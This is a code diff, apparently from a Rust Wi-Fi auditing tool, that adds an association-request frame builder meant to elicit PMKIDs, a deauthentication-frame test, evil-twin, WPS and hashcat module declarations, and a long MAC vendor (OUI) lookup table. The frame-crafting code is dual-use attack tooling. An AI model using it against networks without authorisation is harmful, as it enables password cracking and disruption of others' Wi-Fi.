|
||||||
|
val.extend_from_slice(pmkid);
|
||||||
|
ie(48, &val)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Association request com RSN/PMKID. O AP pode responder com a mensagem 1
|
||||||
|
/// do 4-way handshake contendo o PMKID — é isso que o teste tenta provocar.
|
||||||
|
pub fn assoc_request_frame(
|
||||||
|
bssid: [u8; 6],
|
||||||
|
station: [u8; 6],
|
||||||
|
ssid: &str,
|
||||||
|
akms: &[u8],
|
||||||
|
pmf: bool,
|
||||||
|
pmf_required: bool,
|
||||||
|
pmkid: [u8; 16],
|
||||||
|
) -> Vec<u8> {
|
||||||
|
let mut body = Vec::new();
|
||||||
|
body.extend_from_slice(&0x0431u16.to_le_bytes()); // ESS + short slot
|
||||||
|
body.extend_from_slice(&10u16.to_le_bytes()); // listen interval
|
||||||
|
body.extend_from_slice(&ie(0, ssid.as_bytes()));
|
||||||
|
body.extend_from_slice(&ie(1, &[0x82, 0x84, 0x8b, 0x96]));
|
||||||
|
body.extend_from_slice(&ie(50, &[0x0c, 0x12, 0x18, 0x24, 0x30, 0x36]));
|
||||||
|
if !akms.is_empty() {
|
||||||
|
body.extend_from_slice(&rsn_ie(akms, pmf, pmf_required, &pmkid));
|
||||||
|
}
|
||||||
|
|
||||||
|
let mut f = Vec::with_capacity(8 + 24 + body.len());
|
||||||
|
f.extend_from_slice(&radiotap_min());
|
||||||
|
f.extend_from_slice(&0x0000u16.to_le_bytes());
|
||||||
|
f.extend_from_slice(&0u16.to_le_bytes());
|
||||||
|
f.extend_from_slice(&bssid);
|
||||||
|
f.extend_from_slice(&station);
|
||||||
|
f.extend_from_slice(&bssid);
|
||||||
|
f.extend_from_slice(&[0u8; 2]);
|
||||||
|
f.extend_from_slice(&body);
|
||||||
|
f
|
||||||
|
}
|
||||||
|
|
||||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||||
pub enum Reason {
|
pub enum Reason {
|
||||||
Unspecified = 1,
|
Unspecified = 1,
|
||||||
@@ -160,4 +291,15 @@ mod tests {
|
|||||||
assert_eq!(&f[12..18], &BROADCAST);
|
assert_eq!(&f[12..18], &BROADCAST);
|
||||||
assert_eq!(f.len(), 8 + 24 + 2);
|
assert_eq!(f.len(), 8 + 24 + 2);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn set_seq_writes_sequence_number_without_touching_fragment_bits() {
|
||||||
|
let mut f = deauth_frame(bssid(), station(), 7);
|
||||||
|
set_seq(&mut f, 1);
|
||||||
|
let seq_ctrl = u16::from_le_bytes([f[SEQ_CTRL_OFFSET], f[SEQ_CTRL_OFFSET + 1]]);
|
||||||
|
assert_eq!(seq_ctrl, 1 << 4);
|
||||||
|
set_seq(&mut f, 0x0fff);
|
||||||
|
let seq_ctrl = u16::from_le_bytes([f[SEQ_CTRL_OFFSET], f[SEQ_CTRL_OFFSET + 1]]);
|
||||||
|
assert_eq!(seq_ctrl, 0x0fff << 4);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
@@ -3,22 +3,31 @@
|
|||||||
//! gráfica são só consumidoras disto — a parte complexa (radiotap, 802.11,
|
//! gráfica são só consumidoras disto — a parte complexa (radiotap, 802.11,
|
||||||
//! EAPOL, captura e injeção) fica inteira aqui dentro.
|
//! EAPOL, captura e injeção) fica inteira aqui dentro.
|
||||||
|
|
||||||
|
pub mod analysis;
|
||||||
pub mod audit;
|
pub mod audit;
|
||||||
|
pub mod ccmp;
|
||||||
pub mod crack;
|
pub mod crack;
|
||||||
pub mod doctor;
|
pub mod doctor;
|
||||||
pub mod dot11;
|
pub mod dot11;
|
||||||
pub mod eapol;
|
pub mod eapol;
|
||||||
pub mod engine;
|
pub mod engine;
|
||||||
pub mod error;
|
pub mod error;
|
||||||
|
pub mod eviltwin;
|
||||||
|
pub mod eviltwin_enterprise;
|
||||||
pub mod handshake;
|
pub mod handshake;
|
||||||
|
pub mod hashcat;
|
||||||
pub mod iface;
|
pub mod iface;
|
||||||
pub mod inject;
|
pub mod inject;
|
||||||
pub mod netlink;
|
pub mod netlink;
|
||||||
|
pub mod oui;
|
||||||
pub mod pcapreader;
|
pub mod pcapreader;
|
||||||
pub mod pcapwriter;
|
pub mod pcapwriter;
|
||||||
pub mod radiotap;
|
pub mod radiotap;
|
||||||
|
pub mod report;
|
||||||
|
pub mod rules;
|
||||||
pub mod scan;
|
pub mod scan;
|
||||||
pub mod update;
|
pub mod update;
|
||||||
|
pub mod wps;
|
||||||
|
|
||||||
#[cfg(target_os = "linux")]
|
#[cfg(target_os = "linux")]
|
||||||
pub mod capture;
|
pub mod capture;
|
||||||
|
|||||||
@@ -0,0 +1,919 @@
|
|||||||
|
//! Identificação de fabricante pelo prefixo OUI do MAC.
|
||||||
|
|
||||||
|
const OUIS: &[(&str, &str)] = &[
|
||||||
|
("00000c", "Cisco"),
|
||||||
|
("000142", "Cisco"),
|
||||||
|
("000163", "Cisco"),
|
||||||
|
("000164", "Cisco"),
|
||||||
|
("00016c", "Cisco"),
|
||||||
|
("0001c7", "Cisco"),
|
||||||
|
("0001e6", "Cisco"),
|
||||||
|
("000216", "Cisco"),
|
||||||
|
("0002b9", "Cisco"),
|
||||||
|
("0002fc", "Cisco"),
|
||||||
|
("000331", "Cisco"),
|
||||||
|
("00036b", "Cisco"),
|
||||||
|
("0003e3", "Cisco"),
|
||||||
|
("0003fd", "Cisco"),
|
||||||
|
("000427", "Cisco"),
|
||||||
|
("00044d", "Cisco"),
|
||||||
|
("0004c0", "Cisco"),
|
||||||
|
("0004dd", "Cisco"),
|
||||||
|
("000531", "Cisco"),
|
||||||
|
("00055d", "D-Link"),
|
||||||
|
("000569", "VMware"),
|
||||||
|
("0005dc", "Cisco"),
|
||||||
|
("0005dd", "Cisco"),
|
||||||
|
("0006c1", "Cisco"),
|
||||||
|
("0007eb", "Cisco"),
|
||||||
|
("0007ec", "Cisco"),
|
||||||
|
("0009b7", "Cisco"),
|
||||||
|
("000a41", "Cisco"),
|
||||||
|
("000aeb", "TP-Link"),
|
||||||
|
("000b86", "Aruba"),
|
||||||
|
("000c29", "VMware"),
|
||||||
|
("000c42", "MikroTik"),
|
||||||
|
("000c6e", "Asus"),
|
||||||
|
("000d28", "Cisco"),
|
||||||
|
("000d88", "D-Link"),
|
||||||
|
("000e38", "Cisco"),
|
||||||
|
("000ea6", "Asus"),
|
||||||
|
("000f23", "Cisco"),
|
||||||
|
("000f3d", "D-Link"),
|
||||||
|
("000fb5", "Netgear"),
|
||||||
|
("0010a6", "Cisco"),
|
||||||
|
("001120", "Cisco"),
|
||||||
|
("00112f", "Asus"),
|
||||||
|
("001195", "D-Link"),
|
||||||
|
("001217", "Cisco"),
|
||||||
|
("0012fb", "Samsung"),
|
||||||
|
("001346", "D-Link"),
|
||||||
|
("001392", "Ruckus"),
|
||||||
|
("0013d4", "Asus"),
|
||||||
|
("00146c", "Netgear"),
|
||||||
|
("001478", "TP-Link"),
|
||||||
|
("00156d", "Ubiquiti"),
|
||||||
|
("001599", "Samsung"),
|
||||||
|
("0015e9", "D-Link"),
|
||||||
|
("0015f2", "Asus"),
|
||||||
|
("001632", "Samsung"),
|
||||||
|
("00170f", "Cisco"),
|
||||||
|
("001731", "Asus"),
|
||||||
|
("00179a", "D-Link"),
|
||||||
|
("00180a", "Meraki"),
|
||||||
|
("00184d", "Netgear"),
|
||||||
|
("001882", "Huawei"),
|
||||||
|
("0018f3", "Asus"),
|
||||||
|
("00195b", "D-Link"),
|
||||||
|
("001a11", "Google"),
|
||||||
|
("001a1e", "Aruba"),
|
||||||
|
("001a2b", "Cisco"),
|
||||||
|
("001a8a", "Samsung"),
|
||||||
|
("001a92", "Asus"),
|
||||||
|
("001b11", "Cisco"),
|
||||||
|
("001b2f", "Netgear"),
|
||||||
|
("001b63", "Apple"),
|
||||||
|
("001bfc", "Asus"),
|
||||||
|
("001c42", "Parallels"),
|
||||||
|
("001cf0", "D-Link"),
|
||||||
|
("001d0f", "TP-Link"),
|
||||||
|
("001d25", "Samsung"),
|
||||||
|
("001d60", "Asus"),
|
||||||
|
("001e10", "Huawei"),
|
||||||
|
("001e2a", "Netgear"),
|
||||||
|
("001e58", "D-Link"),
|
||||||
|
("001e7d", "Samsung"),
|
||||||
|
("001e8c", "Asus"),
|
||||||
|
("001ec2", "Apple"),
|
||||||
|
("001f6c", "Cisco"),
|
||||||
|
("001fc6", "Asus"),
|
||||||
|
("002119", "Samsung"),
|
||||||
|
("002127", "TP-Link"),
|
||||||
|
("0021e9", "Apple"),
|
||||||
|
("002215", "Asus"),
|
||||||
|
("00223f", "Netgear"),
|
||||||
|
("00227f", "Ruckus"),
|
||||||
|
("002290", "Cisco"),
|
||||||
|
("0022b0", "D-Link"),
|
||||||
|
("002312", "Apple"),
|
||||||
|
("002339", "Samsung"),
|
||||||
|
("002454", "Samsung"),
|
||||||
|
("002486", "Asus"),
|
||||||
|
("0024a3", "Apple"),
|
||||||
|
("0024b2", "Netgear"),
|
||||||
|
("0024dc", "Apple"),
|
||||||
|
("002500", "Apple"),
|
||||||
|
("002586", "TP-Link"),
|
||||||
|
("00259e", "Huawei"),
|
||||||
|
("0025c4", "Ruckus"),
|
||||||
|
("002618", "Asus"),
|
||||||
|
("002637", "Samsung"),
|
||||||
|
("0026bb", "Apple"),
|
||||||
|
("0026f2", "Netgear"),
|
||||||
|
("002719", "TP-Link"),
|
||||||
|
("002722", "Ubiquiti"),
|
||||||
|
("0027a0", "Apple"),
|
||||||
|
("003e51", "Apple"),
|
||||||
|
("003ee1", "Apple"),
|
||||||
|
("004096", "Apple"),
|
||||||
|
("005056", "VMware"),
|
||||||
|
("0050e4", "Apple"),
|
||||||
|
("0055e6", "Apple"),
|
||||||
|
("0056cd", "Apple"),
|
||||||
|
("040cce", "Apple"),
|
||||||
|
("041552", "Apple"),
|
||||||
|
("0452f3", "Apple"),
|
||||||
|
("045e3d", "Apple"),
|
||||||
|
("04a151", "Netgear"),
|
||||||
|
("04bd70", "Huawei"),
|
||||||
|
("04c06f", "TP-Link"),
|
||||||
|
("04d4c4", "Asus"),
|
||||||
|
("04d9f5", "Asus"),
|
||||||
|
("04db56", "Apple"),
|
||||||
|
("04e536", "Apple"),
|
||||||
|
("04f13e", "Apple"),
|
||||||
|
("04f7e4", "Apple"),
|
||||||
|
("04f938", "Huawei"),
|
||||||
|
("080027", "VirtualBox"),
|
||||||
|
("080028", "Apple"),
|
||||||
|
("0836c9", "Netgear"),
|
||||||
|
("08606e", "Asus"),
|
||||||
|
("086266", "Asus"),
|
||||||
|
("086361", "Huawei"),
|
||||||
|
("086d41", "Apple"),
|
||||||
|
("087045", "Apple"),
|
||||||
|
("08863b", "Apple"),
|
||||||
|
("08bd43", "Netgear"),
|
||||||
|
("0c3021", "Apple"),
|
||||||
|
("0c37dc", "Huawei"),
|
||||||
|
("0c3e9f", "Apple"),
|
||||||
|
("0c4de9", "Apple"),
|
||||||
|
("0c74c2", "Apple"),
|
||||||
|
("0c771a", "Apple"),
|
||||||
|
("0c8063", "TP-Link"),
|
||||||
|
("0c9d92", "Asus"),
|
||||||
|
("0cbc9f", "Apple"),
|
||||||
|
("0cbd51", "Ruckus"),
|
||||||
|
("100c6b", "Netgear"),
|
||||||
|
("1027f5", "TP-Link"),
|
||||||
|
("1040f3", "Apple"),
|
||||||
|
("104780", "Huawei"),
|
||||||
|
("10bd18", "Ruckus"),
|
||||||
|
("10bf48", "Asus"),
|
||||||
|
("10da43", "Netgear"),
|
||||||
|
("10feed", "TP-Link"),
|
||||||
|
("14109f", "Apple"),
|
||||||
|
("143004", "Huawei"),
|
||||||
|
("1449e0", "Samsung"),
|
||||||
|
("144d67", "Apple"),
|
||||||
|
("145a05", "Apple"),
|
||||||
|
("14cfe5", "Apple"),
|
||||||
|
("14d64d", "D-Link"),
|
||||||
|
("14dae9", "Asus"),
|
||||||
|
("14dda9", "Asus"),
|
||||||
|
("18a6f7", "TP-Link"),
|
||||||
|
("18af61", "Apple"),
|
||||||
|
("18c58a", "Huawei"),
|
||||||
|
("18fd74", "MikroTik"),
|
||||||
|
("1c151f", "Huawei"),
|
||||||
|
("1c3bf3", "TP-Link"),
|
||||||
|
("1c7ee5", "D-Link"),
|
||||||
|
("1c872c", "Asus"),
|
||||||
|
("1cbdb9", "D-Link"),
|
||||||
|
("1cfa68", "TP-Link"),
|
||||||
|
("200cc8", "Netgear"),
|
||||||
|
("204c03", "Aruba"),
|
||||||
|
("204e7f", "Netgear"),
|
||||||
|
("2078f0", "Apple"),
|
||||||
|
("209bcd", "Apple"),
|
||||||
|
("20c9d0", "Apple"),
|
||||||
|
("20dce6", "TP-Link"),
|
||||||
|
("20e52a", "Netgear"),
|
||||||
|
("20f3a3", "Huawei"),
|
||||||
|
("244bfe", "Asus"),
|
||||||
|
("246968", "TP-Link"),
|
||||||
|
("2469a5", "Huawei"),
|
||||||
|
("24a43c", "Ubiquiti"),
|
||||||
|
("24dec6", "Aruba"),
|
||||||
|
("282cb2", "TP-Link"),
|
||||||
|
("283ce4", "Huawei"),
|
||||||
|
("28c68e", "Netgear"),
|
||||||
|
("28ee52", "TP-Link"),
|
||||||
|
("2c3033", "Netgear"),
|
||||||
|
("2c3afd", "TP-Link"),
|
||||||
|
("2c4d54", "Asus"),
|
||||||
|
("2c55d3", "Huawei"),
|
||||||
|
("2c56dc", "Asus"),
|
||||||
|
("2c59e5", "Aruba"),
|
||||||
|
("2c5d93", "Ruckus"),
|
||||||
|
("2cab00", "D-Link"),
|
||||||
|
("2cb05d", "Netgear"),
|
||||||
|
("2cc81b", "MikroTik"),
|
||||||
|
("301966", "Samsung"),
|
||||||
|
("3035ad", "Apple"),
|
||||||
|
("30469a", "Netgear"),
|
||||||
|
("305a3a", "Asus"),
|
||||||
|
("30636b", "Apple"),
|
||||||
|
("308730", "Huawei"),
|
||||||
|
("3090ab", "Apple"),
|
||||||
|
("30b5c2", "TP-Link"),
|
||||||
|
("340804", "D-Link"),
|
||||||
|
("341298", "Apple"),
|
||||||
|
("3423ba", "Samsung"),
|
||||||
|
("3460f9", "TP-Link"),
|
||||||
|
("3497f6", "Asus"),
|
||||||
|
("34a395", "Apple"),
|
||||||
|
("34e894", "TP-Link"),
|
||||||
|
("38484c", "Apple"),
|
||||||
|
("388345", "TP-Link"),
|
||||||
|
("3894ed", "Netgear"),
|
||||||
|
("38aa3c", "Samsung"),
|
||||||
|
("38b8eb", "Apple"),
|
||||||
|
("38d547", "Asus"),
|
||||||
|
("3c0754", "Apple"),
|
||||||
|
("3c15c2", "Apple"),
|
||||||
|
("3c1e04", "D-Link"),
|
||||||
|
("3c3786", "Netgear"),
|
||||||
|
("3c46d8", "TP-Link"),
|
||||||
|
("3c5a37", "Samsung"),
|
||||||
|
("3c846a", "TP-Link"),
|
||||||
|
("3c970e", "Asus"),
|
||||||
|
("3ca067", "Ruckus"),
|
||||||
|
("3cab8e", "Apple"),
|
||||||
|
("40167e", "Asus"),
|
||||||
|
("40169f", "TP-Link"),
|
||||||
|
("403004", "Apple"),
|
||||||
|
("40331a", "Apple"),
|
||||||
|
("404d8e", "Huawei"),
|
||||||
|
("405d82", "Netgear"),
|
||||||
|
("406c8f", "Apple"),
|
||||||
|
("40984e", "Apple"),
|
||||||
|
("409bcd", "D-Link"),
|
||||||
|
("40a6d9", "Apple"),
|
||||||
|
("40b395", "Apple"),
|
||||||
|
("40e3d6", "Aruba"),
|
||||||
|
("440010", "Apple"),
|
||||||
|
("442a60", "Apple"),
|
||||||
|
("4448b9", "Aruba"),
|
||||||
|
("444c0c", "Apple"),
|
||||||
|
("444e1a", "Samsung"),
|
||||||
|
("446a2e", "Huawei"),
|
||||||
|
("4494fc", "TP-Link"),
|
||||||
|
("44a56e", "Netgear"),
|
||||||
|
("44d884", "Apple"),
|
||||||
|
("44d9e7", "Ubiquiti"),
|
||||||
|
("480eec", "TP-Link"),
|
||||||
|
("48437c", "Apple"),
|
||||||
|
("4846fb", "Huawei"),
|
||||||
|
("485a3d", "Samsung"),
|
||||||
|
("485b39", "Asus"),
|
||||||
|
("485d60", "D-Link"),
|
||||||
|
("4860bc", "Apple"),
|
||||||
|
("48746e", "Apple"),
|
||||||
|
("488f5a", "MikroTik"),
|
||||||
|
("48a195", "Apple"),
|
||||||
|
("48d705", "Apple"),
|
||||||
|
("4c1fcc", "Huawei"),
|
||||||
|
("4c3275", "Apple"),
|
||||||
|
("4c3c16", "Samsung"),
|
||||||
|
("4c3fa7", "Ruckus"),
|
||||||
|
("4c57ca", "Apple"),
|
||||||
|
("4c5e0c", "MikroTik"),
|
||||||
|
("4c60de", "Netgear"),
|
||||||
|
("4c7403", "Apple"),
|
||||||
|
("4c8d79", "Apple"),
|
||||||
|
("4c9eff", "D-Link"),
|
||||||
|
("4ce173", "TP-Link"),
|
||||||
|
("4cedfb", "Asus"),
|
||||||
|
("5001bb", "Samsung"),
|
||||||
|
("503eaa", "TP-Link"),
|
||||||
|
("506a03", "Netgear"),
|
||||||
|
("50c7bf", "TP-Link"),
|
||||||
|
("50ead6", "Apple"),
|
||||||
|
("5404a6", "Asus"),
|
||||||
|
("5425ea", "Huawei"),
|
||||||
|
("542696", "Apple"),
|
||||||
|
("546009", "Google"),
|
||||||
|
("54724f", "Apple"),
|
||||||
|
("5492be", "Samsung"),
|
||||||
|
("54b80a", "D-Link"),
|
||||||
|
("54c80f", "TP-Link"),
|
||||||
|
("581122", "Asus"),
|
||||||
|
("581f28", "Huawei"),
|
||||||
|
("581faa", "Apple"),
|
||||||
|
("583f54", "Samsung"),
|
||||||
|
("5855ca", "Apple"),
|
||||||
|
("586d8f", "Ruckus"),
|
||||||
|
("58b035", "Apple"),
|
||||||
|
("58d9d5", "TP-Link"),
|
||||||
|
("5c0a5b", "Samsung"),
|
||||||
|
("5c3275", "Asus"),
|
||||||
|
("5c4ca9", "Huawei"),
|
||||||
|
("5c5948", "Apple"),
|
||||||
|
("5c628b", "TP-Link"),
|
||||||
|
("5c899a", "TP-Link"),
|
||||||
|
("5c95ae", "Apple"),
|
||||||
|
("5c97f3", "Apple"),
|
||||||
|
("5cd998", "D-Link"),
|
||||||
|
("5cf938", "Apple"),
|
||||||
|
("600308", "Apple"),
|
||||||
|
("6032b1", "TP-Link"),
|
||||||
|
("60334b", "Apple"),
|
||||||
|
("6045cb", "Asus"),
|
||||||
|
("60634c", "D-Link"),
|
||||||
|
("606944", "Apple"),
|
||||||
|
("606bbd", "Samsung"),
|
||||||
|
("608c4a", "Apple"),
|
||||||
|
("609217", "Apple"),
|
||||||
|
("609ac1", "Apple"),
|
||||||
|
("60a4b7", "TP-Link"),
|
||||||
|
("60c547", "Apple"),
|
||||||
|
("60de44", "Huawei"),
|
||||||
|
("60f445", "Apple"),
|
||||||
|
("60facd", "Apple"),
|
||||||
|
("60fb42", "Apple"),
|
||||||
|
("643e8c", "Huawei"),
|
||||||
|
("645601", "TP-Link"),
|
||||||
|
("6466b3", "TP-Link"),
|
||||||
|
("647002", "TP-Link"),
|
||||||
|
("6476ba", "Apple"),
|
||||||
|
("649abe", "Apple"),
|
||||||
|
("64b0a6", "Apple"),
|
||||||
|
("64b853", "Samsung"),
|
||||||
|
("64b9e8", "Apple"),
|
||||||
|
("64d154", "MikroTik"),
|
||||||
|
("680927", "Apple"),
|
||||||
|
("68572d", "TP-Link"),
|
||||||
|
("68644b", "Apple"),
|
||||||
|
("687251", "Ubiquiti"),
|
||||||
|
("68967b", "Apple"),
|
||||||
|
("689c70", "Apple"),
|
||||||
|
("68a0f6", "Huawei"),
|
||||||
|
("68a86d", "Apple"),
|
||||||
|
("68ab1e", "Apple"),
|
||||||
|
("68ae20", "Apple"),
|
||||||
|
("68d93c", "Apple"),
|
||||||
|
("68dbca", "Apple"),
|
||||||
|
("68ebae", "Samsung"),
|
||||||
|
("68fb7e", "Apple"),
|
||||||
|
("6c198f", "D-Link"),
|
||||||
|
("6c19c0", "Apple"),
|
||||||
|
("6c3b6b", "MikroTik"),
|
||||||
|
("6c3e6d", "Apple"),
|
||||||
|
("6c4008", "Apple"),
|
||||||
|
("6c5ab0", "TP-Link"),
|
||||||
|
("6c709f", "Apple"),
|
||||||
|
("6c8dc1", "Apple"),
|
||||||
|
("6c92bf", "Huawei"),
|
||||||
|
("6c94f8", "Apple"),
|
||||||
|
("6caab3", "Ruckus"),
|
||||||
|
("6cab31", "Apple"),
|
||||||
|
("6cb0ce", "Netgear"),
|
||||||
|
("6cc7ec", "Apple"),
|
||||||
|
("6cf373", "Samsung"),
|
||||||
|
("6cf37f", "Aruba"),
|
||||||
|
("701124", "Apple"),
|
||||||
|
("7014a6", "Apple"),
|
||||||
|
("703a0e", "Aruba"),
|
||||||
|
("703eac", "Apple"),
|
||||||
|
("70480f", "Apple"),
|
||||||
|
("704d7b", "Asus"),
|
||||||
|
("704f57", "TP-Link"),
|
||||||
|
("7054f5", "Huawei"),
|
||||||
|
("705681", "Apple"),
|
||||||
|
("7073cb", "Apple"),
|
||||||
|
("7081eb", "Apple"),
|
||||||
|
("70f927", "Samsung"),
|
||||||
|
("741bb2", "Apple"),
|
||||||
|
("744401", "Netgear"),
|
||||||
|
("744d28", "Samsung"),
|
||||||
|
("7483c2", "Ubiquiti"),
|
||||||
|
("74882a", "Huawei"),
|
||||||
|
("748d08", "Apple"),
|
||||||
|
("74911a", "Ruckus"),
|
||||||
|
("74d02b", "Asus"),
|
||||||
|
("74da38", "TP-Link"),
|
||||||
|
("74da88", "TP-Link"),
|
||||||
|
("74e1b6", "Apple"),
|
||||||
|
("74e2f5", "Apple"),
|
||||||
|
("781fdb", "Samsung"),
|
||||||
|
("7824af", "Asus"),
|
||||||
|
("7831c1", "Apple"),
|
||||||
|
("783a84", "Apple"),
|
||||||
|
("784476", "TP-Link"),
|
||||||
|
("784558", "Ubiquiti"),
|
||||||
|
("784f43", "Apple"),
|
||||||
|
("786c1c", "Apple"),
|
||||||
|
("788a20", "Ubiquiti"),
|
||||||
|
("789a18", "MikroTik"),
|
||||||
|
("789f70", "Apple"),
|
||||||
|
("78a3e4", "Apple"),
|
||||||
|
("78ca39", "Apple"),
|
||||||
|
("78d294", "Netgear"),
|
||||||
|
("78d752", "Huawei"),
|
||||||
|
("78d75f", "Apple"),
|
||||||
|
("78fd94", "Apple"),
|
||||||
|
("7c0191", "Apple"),
|
||||||
|
("7c04d0", "Apple"),
|
||||||
|
("7c10c9", "Asus"),
|
||||||
|
("7c11be", "Apple"),
|
||||||
|
("7c6097", "Huawei"),
|
||||||
|
("7c6d62", "Apple"),
|
||||||
|
("7c6df8", "Apple"),
|
||||||
|
("7c8bca", "TP-Link"),
|
||||||
|
("7cc3a1", "Apple"),
|
||||||
|
("7cc537", "Apple"),
|
||||||
|
("7cd1c3", "Apple"),
|
||||||
|
("7cf05f", "Apple"),
|
||||||
|
("7cfadf", "Apple"),
|
||||||
|
("80006e", "Apple"),
|
||||||
|
("801f02", "Asus"),
|
||||||
|
("802aa8", "Ubiquiti"),
|
||||||
|
("803773", "Netgear"),
|
||||||
|
("804971", "Apple"),
|
||||||
|
("805719", "Samsung"),
|
||||||
|
("80929f", "Apple"),
|
||||||
|
("80be05", "Apple"),
|
||||||
|
("80e650", "Apple"),
|
||||||
|
("80ea07", "TP-Link"),
|
||||||
|
("80ea96", "Apple"),
|
||||||
|
("80fb06", "Huawei"),
|
||||||
|
("84119e", "Samsung"),
|
||||||
|
("8416f9", "TP-Link"),
|
||||||
|
("841888", "Ruckus"),
|
||||||
|
("841b5e", "Netgear"),
|
||||||
|
("8425db", "Samsung"),
|
||||||
|
("843835", "Apple"),
|
||||||
|
("843838", "Samsung"),
|
||||||
|
("84788b", "Apple"),
|
||||||
|
("848506", "Apple"),
|
||||||
|
("8489ad", "Apple"),
|
||||||
|
("848e0c", "Apple"),
|
||||||
|
("84a8e4", "Huawei"),
|
||||||
|
("84b153", "Apple"),
|
||||||
|
("84c9b2", "D-Link"),
|
||||||
|
("84d47e", "Aruba"),
|
||||||
|
("84f3eb", "Apple"),
|
||||||
|
("881544", "Meraki"),
|
||||||
|
("881908", "Apple"),
|
||||||
|
("881dfc", "Apple"),
|
||||||
|
("882593", "TP-Link"),
|
||||||
|
("8828b3", "Huawei"),
|
||||||
|
("88366c", "Samsung"),
|
||||||
|
("885395", "Apple"),
|
||||||
|
("8863df", "Apple"),
|
||||||
|
("8866a5", "Apple"),
|
||||||
|
("88c663", "Apple"),
|
||||||
|
("88cb87", "Apple"),
|
||||||
|
("88d7f6", "Asus"),
|
||||||
|
("88e87f", "Apple"),
|
||||||
|
("8c006d", "Apple"),
|
||||||
|
("8c210a", "TP-Link"),
|
||||||
|
("8c2937", "Apple"),
|
||||||
|
("8c2daa", "Apple"),
|
||||||
|
("8c34fd", "Huawei"),
|
||||||
|
("8c5877", "Apple"),
|
||||||
|
("8c7b9d", "Apple"),
|
||||||
|
("8c7c92", "Apple"),
|
||||||
|
("8c8590", "Apple"),
|
||||||
|
("8c89a5", "Asus"),
|
||||||
|
("8c8ef2", "Apple"),
|
||||||
|
("8cbebe", "D-Link"),
|
||||||
|
("8cfaba", "Apple"),
|
||||||
|
("9017ac", "Huawei"),
|
||||||
|
("9027e4", "Apple"),
|
||||||
|
("902b34", "Asus"),
|
||||||
|
("903c92", "Apple"),
|
||||||
|
("904ce5", "Aruba"),
|
||||||
|
("9060f1", "Apple"),
|
||||||
|
("907240", "Apple"),
|
||||||
|
("90840d", "Apple"),
|
||||||
|
("9094e4", "D-Link"),
|
||||||
|
("90b0ed", "Apple"),
|
||||||
|
("90b21f", "Apple"),
|
||||||
|
("90c1c6", "Apple"),
|
||||||
|
("90dd5d", "Apple"),
|
||||||
|
("90f652", "TP-Link"),
|
||||||
|
("90fd61", "Apple"),
|
||||||
|
("9401c2", "Samsung"),
|
||||||
|
("94049c", "Huawei"),
|
||||||
|
("940c6d", "TP-Link"),
|
||||||
|
("949426", "Apple"),
|
||||||
|
("94b34f", "Ruckus"),
|
||||||
|
("94b40f", "Aruba"),
|
||||||
|
("9801a7", "Apple"),
|
||||||
|
("98288e", "Apple"),
|
||||||
|
("9852b1", "Samsung"),
|
||||||
|
("985aeb", "Apple"),
|
||||||
|
("989e63", "Apple"),
|
||||||
|
("98b8e3", "Apple"),
|
||||||
|
("98d6bb", "Apple"),
|
||||||
|
("98dac4", "TP-Link"),
|
||||||
|
("98e0d9", "Apple"),
|
||||||
|
("98e7f5", "Huawei"),
|
||||||
|
("98f0ab", "Apple"),
|
||||||
|
("9c04eb", "Apple"),
|
||||||
|
("9c05d6", "Ubiquiti"),
|
||||||
|
("9c1c12", "Aruba"),
|
||||||
|
("9c207b", "Apple"),
|
||||||
|
("9c28ef", "Huawei"),
|
||||||
|
("9c35eb", "Apple"),
|
||||||
|
("9c3dcf", "Netgear"),
|
||||||
|
("9c4fda", "Apple"),
|
||||||
|
("9c5c8e", "Asus"),
|
||||||
|
("9c84bf", "Apple"),
|
||||||
|
("9ca2f4", "TP-Link"),
|
||||||
|
("9cd643", "D-Link"),
|
||||||
|
("9ce65e", "Apple"),
|
||||||
|
("9cf387", "Apple"),
|
||||||
|
("9cf48e", "Apple"),
|
||||||
|
("9cfc01", "Apple"),
|
||||||
|
("a00460", "Netgear"),
|
||||||
|
("a00bba", "Samsung"),
|
||||||
|
("a01d48", "Aruba"),
|
||||||
|
("a02195", "Samsung"),
|
||||||
|
("a040a0", "TP-Link"),
|
||||||
|
("a04c5b", "Ruckus"),
|
||||||
|
("a08cf8", "Huawei"),
|
||||||
|
("a0999b", "Apple"),
|
||||||
|
("a0ab1b", "D-Link"),
|
||||||
|
("a0d795", "Apple"),
|
||||||
|
("a0edcd", "Apple"),
|
||||||
|
("a0f3c1", "Asus"),
|
||||||
|
("a42b8c", "Netgear"),
|
||||||
|
("a42bb0", "TP-Link"),
|
||||||
|
("a45e60", "Apple"),
|
||||||
|
("a46706", "Apple"),
|
||||||
|
("a483e7", "Apple"),
|
||||||
|
("a49947", "Huawei"),
|
||||||
|
("a4b197", "Apple"),
|
||||||
|
("a4c361", "Apple"),
|
||||||
|
("a4d18c", "Apple"),
|
||||||
|
("a4d1d2", "Apple"),
|
||||||
|
("a4f1e8", "Apple"),
|
||||||
|
("a80600", "Samsung"),
|
||||||
|
("a82066", "Apple"),
|
||||||
|
("a851ab", "Apple"),
|
||||||
|
("a8574e", "TP-Link"),
|
||||||
|
("a85840", "Ruckus"),
|
||||||
|
("a85b78", "Apple"),
|
||||||
|
("a8667f", "Apple"),
|
||||||
|
("a88808", "Apple"),
|
||||||
|
("a88e24", "Apple"),
|
||||||
|
("a8968a", "Apple"),
|
||||||
|
("a8bbcf", "Apple"),
|
||||||
|
("a8bd27", "Aruba"),
|
||||||
|
("a8be27", "Apple"),
|
||||||
|
("a8c885", "Apple"),
|
||||||
|
("a8d0e5", "Apple"),
|
||||||
|
("a8e2c1", "Apple"),
|
||||||
|
("a8f5e1", "Apple"),
|
||||||
|
("ac220b", "Asus"),
|
||||||
|
("ac293a", "Apple"),
|
||||||
|
("ac3613", "Samsung"),
|
||||||
|
("ac3c0b", "Apple"),
|
||||||
|
("ac5a14", "Ruckus"),
|
||||||
|
("ac61ea", "Apple"),
|
||||||
|
("ac84c6", "TP-Link"),
|
||||||
|
("ac87a3", "Apple"),
|
||||||
|
("ac9e17", "Asus"),
|
||||||
|
("acbc32", "Apple"),
|
||||||
|
("accf5c", "Apple"),
|
||||||
|
("acd1b8", "Apple"),
|
||||||
|
("ace215", "Huawei"),
|
||||||
|
("ace4b5", "Apple"),
|
||||||
|
("acf1df", "Apple"),
|
||||||
|
("b03495", "Apple"),
|
||||||
|
